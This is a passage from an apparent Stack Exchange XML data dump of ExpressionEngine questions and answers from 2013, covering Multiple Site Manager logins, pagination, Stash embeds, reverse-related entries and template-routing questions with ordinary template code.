Opera) on two different computers (both running Mac OS X 10.6.8)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Tried changing Security and Sessions CP Session Type and User Session Type -  to all thee options, logging out and logging in again each time. In each case I can log in as long as Enable MSM is set to &quot;No&quot;. If I set Enable MSM to &quot;Yes&quot; and log out,  I'm locked out again, no matter what the Session Type; only able to log in if I reset it to no in the config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Tried adding these values to config/congif.php (as per this post: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/377/cant-login-to-cp-after-logging-out&quot;&gt;Can&amp;#39;t login to CP after logging out&lt;/a&gt; ):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(No change - removed again)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully used MSM before on another site on the same web host (HostMySite.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else encountered this problem to this level?&lt;/p&gt;&#xA;" OwnerUserId="1167" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-04-03T00:54:18.157" Title="Can't log in to CP after installing Multiple Site Manager, can't switch sites" Tags="|multi-site-manager|login|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7275" PostTypeId="1" AcceptedAnswerId="7483" CreationDate="2013-03-12T22:39:01.997" Score="0" ViewCount="230" Body="&lt;p&gt;I have a blog listing set up with Structure, Zoo Triggers, AB Pagination, &amp;amp; CE Cache. Here's an abridged version of the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:ce_cache:it}&#xA;        {embed='_embeds/document_head'}&#xA;&#xA;        {snippet:header}&#xA;&#xA;        {exp:channel:entries&#xA;            channel='blog'&#xA;            dynamic='no'&#xA;            disable='member_data'&#xA;            limit='10'&#xA;            {triggers:entries}&#xA;        }&#xA;            {if count == 1}&#xA;            &amp;lt;ul class=&quot;vertical-block entries resetlist&quot;&amp;gt;&#xA;        {/if}&#xA;&#xA;          &amp;lt;li class=&quot;clearfix&quot;&amp;gt;&#xA;            {!-- Entry Data --}&#xA;          &amp;lt;/li&amp;gt;&#xA;&#xA;        {if count == total_results}&#xA;          &amp;lt;/ul&amp;gt;&#xA;&#xA;          {snippet:pagination}&#xA;        {/if}&#xA;      {/exp:channel:entries}&#xA;&#xA;      {snippet:footer} &#xA;&#xA;      {exp:minimee:js}&#xA;        {snippet:global_scripts}&#xA;      {/exp:minimee:js}&#xA;&#xA;        {snippet:document_foot}&#xA;&#xA;    {/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the pagination snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;resetlist&quot;&amp;gt;&#xA;      {if abp_has_previous}&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;a href=&quot;{abp_previous_link}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;  &#xA;      {/if}&#xA;      {abp_pages}&#xA;        &amp;lt;li{if abp_is_current} class=&quot;current&quot;{/if}&amp;gt;&#xA;          &amp;lt;a href=&quot;{abp_link}&quot;&amp;gt;{abp_num}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {/abp_pages}&#xA;      {if abp_has_next}&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;a href=&quot;{abp_next_link}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;     &#xA;      {/if}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Page {abp_current_page_num_liber} of {abp_total_pages}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--/.pagination--&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So occasionally when you advance to the next page in the listing using pagination, the URL looks like this: &lt;code&gt;/blog/?feed=rss2/P10&lt;/code&gt; and breaks pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearing/disabling CE Cache fixes the problem, but I'm not sure if it's a CE Cache problem or AB Pagination or what. There is a link to an RSS feed on the page, but its url is &lt;code&gt;feeds/blog&lt;/code&gt;, not a query string.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.5 &lt;/li&gt;&#xA;&lt;li&gt;Structure 3.3.8 &lt;/li&gt;&#xA;&lt;li&gt;CE Cache 1.9.2 &lt;/li&gt;&#xA;&lt;li&gt;Zoo Triggers 1.1.13 &lt;/li&gt;&#xA;&lt;li&gt;AB Pagination 1.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-03-12T23:24:36.027" LastActivityDate="2013-03-19T07:35:01.367" Title="&quot;?feed=rss2&quot; in Pagination URL" Tags="|structure|pagination|ce-cache|zoo-triggers|ab-pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7276" PostTypeId="2" ParentId="7241" CreationDate="2013-03-12T22:43:52.707" Score="1" Body="&lt;p&gt;From what I can tell your hidden input fields for longitude and latitude may not be correctly named.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input type=&quot;hidden&quot; name=&quot;trainer_longitude&quot; value=&quot;{trainer_longitude}&quot; /&amp;gt;&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;trainer_latitude&quot; value=&quot;{trainer_latitude}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-12T22:43:52.707" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7277" PostTypeId="2" ParentId="7275" CreationDate="2013-03-12T22:54:50.867" Score="0" Body="&lt;p&gt;What do you mean &quot;breaks pagination&quot;? EE might think that string is an extra segment. Our official support is available here: &lt;a href=&quot;https://structure.tenderapp.com&quot; rel=&quot;nofollow&quot;&gt;https://structure.tenderapp.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-03-12T22:54:50.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7278" PostTypeId="2" ParentId="7272" CreationDate="2013-03-12T23:34:46.887" Score="2" Body="&lt;p&gt;Alright - once I understood what was happening (comments on original post) I did some research. This is a CKEditor issue, below is a Git repo that includes a way to address this.  I haven't tested this with Wygwam and can't endorse it, but it may help you toward a solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/blueriver/MuraCMS/pull/685&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blueriver/MuraCMS/pull/685&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The common easy solution is to inclue &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; so there is content between the tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't have another solution at this time, this is a change that needs to be made to CKEditor to handle.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-12T23:34:46.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7279" PostTypeId="2" ParentId="7056" CreationDate="2013-03-12T23:57:14.830" Score="3" Body="&lt;p&gt;NSM Twitter has been updated and we are currently preparing an updated release at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to update in the meantime you can change line 21 of twitteroauth.php to the new Twitter API endpoint - &lt;code&gt;https://api.twitter.com/1.1/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1088" LastActivityDate="2013-03-12T23:57:14.830" CommentCount="2" CommunityOwnedDate="2013-03-12T23:57:14.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="7280" PostTypeId="2" ParentId="7264" CreationDate="2013-03-13T00:08:13.493" Score="1" Body="&lt;p&gt;In the Store &gt; Settings &gt; General tab scroll down to Default Shipping Address unless you have modified this it will be set to &quot;Shipping Address Same as Billing Address&quot; which means that until you have submitted both a shipping and billing address Store will only use the value of the billing field. From the sounds of it you would want to use &quot;None&quot;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-13T00:08:13.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7281" PostTypeId="2" ParentId="7258" CreationDate="2013-03-13T01:46:23.027" Score="0" Body="&lt;p&gt;You could use a plugin, but it's pretty easy to do with &lt;code&gt;{if}&lt;/code&gt; statements as well. Here's one of the ways we set this up for a client. There are other's but it was fairly simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: Client needed the ability to create various &lt;em&gt;lists&lt;/em&gt; that were basically collections of articles from their site or sometimes from other resources. But the lists were occasionally, single-column format, top 10 (in reverse order 10 -&gt;1) top 10 (1-&gt; 10), top 5, bullet list, image as bullet list, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Create a template for each format option.&lt;/strong&gt; Displayed is a partial list of the various template options.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/atvBl.png&quot; alt=&quot;Template Options: List of Templates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Added a New Field.&lt;/strong&gt; In the field_group related to the publish form, we added a new field, with the select template format option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Create a 'filter' template.&lt;/strong&gt; The filter template will determine from the post, which display template to use. The code we use looks like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;1&quot; status=&quot;not Closed&quot; require_entry=&quot;yes&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}&#xA;    {redirect=&quot;archives/404&quot;}&#xA;{/if} &#xA;&#xA;&#xA;{if series_format==&quot;two_column&quot;}&#xA;    {embed=&quot;series/_two_column&quot;}    &#xA;&#xA;{if:elseif series_format==&quot;numbered&quot;}&#xA;    {embed=&quot;series/_numbered&quot;}  &#xA;&#xA;{if:elseif series_format==&quot;top_five&quot;}&#xA;    {embed=&quot;series/_top_five&quot;}&#xA;&#xA;{if:elseif series_format==&quot;top_ten&quot;}&#xA;    {embed=&quot;series/_top_ten&quot;}   &#xA;&#xA;{if:else}&#xA;    {embed=&quot;series/_single&quot;}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'filter' template has no styles or other details, but they could. In this case, we left all the formatting on the 'option' templates. We also embedded some secondary stylesheets, to handle reverse count list displays, and the selection of 'image' options, if the selected the bullet as image template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But otherwise, new template designs can be added at any time. Once the new template is created, we basically update the drop down menu field, which contains the template options, and the 'filter' template that contains the &lt;code&gt;{if}{if:else}&lt;/code&gt; statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No plugins required.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-13T01:46:23.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7282" PostTypeId="1" CreationDate="2013-03-13T01:46:29.783" Score="3" ViewCount="128" Body="&lt;p&gt;I am not sure if I have been staring at the screen too long today or what but I am having a major lapse in brain power. Here's the deal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a list of images that I relate to specific entries&lt;/li&gt;&#xA;&lt;li&gt;I use a reverse_related_entries tag to display the images on the related entry&lt;/li&gt;&#xA;&lt;li&gt;If an image does not have an entry associated with it I want to randomly pull an image from the images channel and display it on the entry view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is the interesting issue. The {stash:embed} (that is commented out below) gets rendered in the &quot;no_reverse_related_entries&quot; tag (when uncommented) but the normal EE {embed} does not render if there aren't any reverse related entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;ch_pages&quot;&#xA;  status=&quot;open&quot;&#xA;  limit=&quot;1&quot;&#xA;  {global:param_disable_default}&#xA;}&#xA;&#xA;  {reverse_related_entries&#xA;    channel=&quot;ch_page_header_images&quot;&#xA;    status=&quot;open&quot;&#xA;    limit=&quot;1&quot;}&#xA;&#xA;    {if no_reverse_related_entries}&#xA;      {embed=&quot;test/random_header_image&quot;}&#xA;      {!-- {stash:embed:includes:em_random_header_image} --}&#xA;    {/if}&#xA;&#xA;    &amp;lt;img src=&quot;{cf_header_image:medium}&quot; alt=&quot;{title}&quot; width=&quot;390&quot; id=&quot;Header-Image&quot; role=&quot;img&quot; /&amp;gt;&#xA;  {/reverse_related_entries}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stash embeds, unless tweaked with the &quot;parse_stage&quot; parameter (and with the defaults in place), seem to be parsed like regular embeds in other area of the site (and per the Stash docs). Where am I going wrong here?&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2015-09-03T14:05:10.027" Title="Why is a Stash embed rendering within a &quot;if no_reverse_related_entries&quot; tag but a normal embed does not?" Tags="|stash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7283" PostTypeId="2" ParentId="7274" CreationDate="2013-03-13T01:58:01.847" Score="0" Body="&lt;p&gt;I believe you will need to upgrade your version of ExpressionEngine. You have the newest version of the Multi Site Manager (MSM 2.1.4), but an older version of ExpressionEngine (2.5.2). This has been known to cause some issues (occasionally). See &lt;a href=&quot;http://ellislab.com/forums/viewthread/221530/&quot; rel=&quot;nofollow&quot;&gt;errors&lt;/a&gt; and other &lt;a href=&quot;http://ellislab.com/forums/viewthread/228141/&quot; rel=&quot;nofollow&quot;&gt;reports&lt;/a&gt; from Ellis Labs forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't update EE, then you may want to check with Ellis Lab if they can provide you with an older copy of MSM (to downgrade) to see if that works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't mention, but its worth a check, 'Did you properly configure 'index.php' and 'admin.php' to work with MSM?'  It's also possible that your getting logged out because none of the sites are set-up properly. Turning off MSM would allow for a general configuration to stand, but with MSM, both the 'admin.php' and 'index.php' files need to be modified to work with the various sites, including the 'main' site.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-13T01:58:01.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7284" PostTypeId="1" AcceptedAnswerId="7285" CreationDate="2013-03-13T02:01:50.627" Score="1" ViewCount="308" Body="&lt;p&gt;I'm trying to use the live look feature in expression engine to preview entries, but it doesn't pass the URL title to the preview template. Am I doing something wrong or is this just not allowed? I can't imagine preview templates would be of much use without this.&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2013-08-16T07:52:45.180" Title="include url title in live look template" Tags="|url-title|livelook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7285" PostTypeId="2" ParentId="7284" CreationDate="2013-03-13T02:08:40.200" Score="1" Body="&lt;p&gt;In the &quot;Live Look&quot; url title isn't being pass with the preview template. Instead of url title, entry id is passed. you can see the entry id as last segment.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-13T02:08:40.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7286" PostTypeId="2" ParentId="7258" CreationDate="2013-03-13T02:37:00.847" Score="1" Body="&lt;p&gt;One possible option might be to add a variable on the wrapper embed, which passes a value for the template being accessed. Within your wrapper, &lt;a href=&quot;https://github.com/croxton/Switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; could be used to adjust markup. Using your sample above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_wrappers/homepage&quot; template=&quot;templateA&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within your wrapper, it could then be utilized such as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{embed:template}&quot; parse=&quot;inward&quot;}&#xA;   {case value=&quot;Value1&quot;}&#xA;      Content to show&#xA;   {/case}&#xA;   {case value=&quot;Value2&quot; default=&quot;yes&quot;}&#xA;      Default format&#xA;   {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using the pages module (or perhaps structure), the template selection could also be more user-friendly in the control panel using an add-on such as Better Pages or 'Plates.&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2013-03-13T02:37:00.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7287" PostTypeId="2" ParentId="7258" CreationDate="2013-03-13T05:34:49.183" Score="1" Body="&lt;p&gt;A simple solution for this would be to simply add a select dropdown to the publish page with each of your wrapper templates listed. So for example, if your select dropdown field is called {wrapper_template}, your template code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;ch-archive&quot; limit=&quot;1&quot;}&#xA;  {embed=&quot;{wrapper_template}&quot;}&#xA;&#xA;  {exp:stash:set name=&quot;title&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {/exp:stash:set}&#xA;  {exp:stash:set name=&quot;content&quot;}&#xA;    &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;  {/exp:stash:set}&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work since the embed is parsed at the very end of the parse order. But this method should only be attempted with a single channel entry like you have it set here (limit=&quot;1&quot;). Otherwise you could end up embedding multiple wrapper templates.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-13T05:34:49.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7288" PostTypeId="1" AcceptedAnswerId="7303" CreationDate="2013-03-13T05:50:29.730" Score="0" ViewCount="353" Body="&lt;p&gt;I have created a 'staging' version of my site on a new server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am in the admin area I can see the list of weblog entries just fine, but when I click on one of them to edit it, I receive this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Error&#xA;You have tried to access a weblog that does not exist.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this a config or permissions problem? What should I do to fix the issue?&lt;/p&gt;&#xA;" OwnerUserId="649" LastActivityDate="2013-03-13T16:27:41.753" Title="Why am I getting this error and what do I need to do: &quot;Error You have tried to access a weblog that does not exist.&quot;?" Tags="|error|admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7289" PostTypeId="1" AcceptedAnswerId="7290" CreationDate="2013-03-13T06:02:04.703" Score="2" ViewCount="86" Body="&lt;p&gt;I have the following code on a listings page that is meant to display linked events that occur in the future. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{reverse_related_entries weblog=&quot;events&quot; sort_by=&quot;date&quot; show_expired=&quot;no&quot;}&#xA;    {if count==1}&#xA;    &amp;lt;div id=&quot;upcomingevents&quot;&amp;gt;&#xA;        &amp;lt;dl class=&quot;meta&quot;&amp;gt;&#xA;            &amp;lt;dt&amp;gt;Upcoming Events&amp;lt;/dt&amp;gt;&#xA;    {/if}&#xA;&#xA;        &amp;lt;dd&amp;gt;&amp;lt;a href=&quot;/events/{entry_date format=&quot;%Y/%m/%d&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;{if count==total_results}&amp;lt;/dl&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;{/reverse_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that ALL linked events are being displayed, even those that have expired (as in the expired date is in the past)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My version is 1.7.1&lt;/p&gt;&#xA;" OwnerUserId="649" LastActivityDate="2013-03-15T07:04:58.287" Title="How do I prevent expired linked events from being displayed?" Tags="|conditionals|ee1|tags|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7290" PostTypeId="2" ParentId="7289" CreationDate="2013-03-13T06:13:24.607" Score="4" Body="&lt;p&gt;The {reverse_related_entries} does support only 6 parameters of weblog, status, sort, orderby, offset, limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &quot;show_expired&quot; parameter will not work here.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In that case I always prefer to use Playa but never tried with EE v1.6+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, you are populating a single weblog entry and would like to show all the parents weblogs with {reverse_related_entries} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the example code with query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT exp_weblog_titles.entry_id AS EntryID, exp_weblog_titles.title AS EntryTitle, exp_weblog_titles.url_title AS URLTitle FROM exp_weblog_titles &#xA;LEFT JOIN exp_relationships ON exp_relationships.rel_parent_id=exp_weblog_titles.entry_id&#xA;WHERE exp_relationships.rel_child_id='{entry_id}' &#xA;AND exp_weblog_titles.status='open' &#xA;AND exp_weblog_titles.entry_date &amp;gt;= UNIX_TIMESTAMP(NOW()) &#xA;ORDER BY exp_weblog_titles.entry_date DESC&quot;}&#xA;&#xA;{EntryID} || {EntryTitle} || {URLTitle}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note in above code, {entry_id} in WHERE condition which the entry_id of child weblog and this code will replace the {reverse_related_entries} tag so {entry_id} of child weblog will be checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't test this code but hoping it would work fine. Also, if you would like to fetch  other fields, you need put with the SELECT statement.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-03-15T07:04:58.287" LastActivityDate="2013-03-15T07:04:58.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7291" PostTypeId="1" AcceptedAnswerId="7343" CreationDate="2013-03-13T07:52:06.360" Score="3" ViewCount="645" Body="&lt;p&gt;Is there a content limit/length for channels? If so, can the limit be removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reason I ask:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When posting a large amount of content (approx 12,700 characters) in a channel (blog) as soon as I submit I get served a 403 Forbidden screen: &lt;a href=&quot;http://screencast.com/t/9vPuJo4hup6&quot; rel=&quot;nofollow&quot;&gt;http://screencast.com/t/9vPuJo4hup6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I post a small amount of content (a couple of paragraphs) and submit there are no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this further by posting the large amount of content paragraph by paragraph and submitting after each one (paragraph). This process was successful up until I reached a certain amount of content and then I was served the 403 again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that there is some sort of content limit in channels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2013-03-14T07:48:01.223" Title="Posting large amount of content serves 403 error" Tags="|error|long-content|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7292" PostTypeId="1" AcceptedAnswerId="7298" CreationDate="2013-03-13T09:33:21.723" Score="3" ViewCount="212" Body="&lt;p&gt;I'm wanting to allow my client to be able to create unlimited pages at the root of their site, for example, these will be used for confirmation pages etc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.url.com/test-page&quot; rel=&quot;nofollow&quot;&gt;http://www.url.com/test-page&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.url.com/test-page2&quot; rel=&quot;nofollow&quot;&gt;http://www.url.com/test-page2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created the following template using Switchee, however when I goto the url for the page I simply get a 404 page. I've created a &quot;standard_items&quot; channel and they have the url of test-page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;  {case value=&quot;&quot;} &#xA;&#xA;{embed=&quot;site/header&quot; page_name=&quot;home&quot;}&#xA;&#xA;&amp;lt;!-- Homepage --&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;home&quot; limit=&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;  {/case}&#xA;&#xA;  {case default=&quot;yes&quot;}&#xA;&#xA;{embed=&quot;site/header&quot; page_name=&quot;detail&quot;} &amp;lt;!-- Standard page --&amp;gt;&#xA;&#xA;  {exp:channel:entries channel=&quot;standard_item&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {introduction}&#xA;    {image}&#xA;      &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{url:portrait}&quot; alt=&quot;{title}&quot; width=&quot;196&quot; height=&quot;224&quot; /&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/image}&#xA;    {body}&#xA;&#xA;  {/exp:channel:entries}&#xA;&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&#xA;{embed=&quot;site/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-03-13T12:56:43.820" Title="Creating a &quot;standard&quot; page template at root" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7293" PostTypeId="1" CreationDate="2013-03-13T09:42:53.550" Score="1" ViewCount="67" Body="&lt;p&gt;I'm using EE2.5 with structure.&#xA;I have a simple nav:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav current_class=&quot;selected&quot; start_from=&quot;/&quot; show_depth=&quot;2&quot; include_ul=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a channel: photos&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Category Group: photograph and this Category Group has categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each entrie from photos get assign to an categorie &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a unique template &quot;ovezicht&quot; to show the categories from channel &quot;photos&quot; and when I click on a &quot;category_image&quot; I see all the photos assign to this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;overvieuw categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;&quot;}&#xA;&#xA;{exp:channel:categories channel=&quot;photos&quot; style=&quot;flat&quot;}&#xA;&#xA;&amp;lt;a href=&quot;{path='overzicht'}&quot;&amp;gt;&amp;lt;img src=&quot;{category_image}&quot;&amp;gt;&amp;lt;/a&amp;gt; &#xA;&#xA;{/exp:channel:categories}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is the url when watching the categories: .../uitleen/overzicht/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;photos from a selected categorie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 != &quot;&quot;}&#xA;{exp:channel:entries channel=&quot;photos&quot; disable=&quot;member_data&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot;}&#xA;&amp;lt;div class=&quot;col_left&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;{foto_image}&quot; 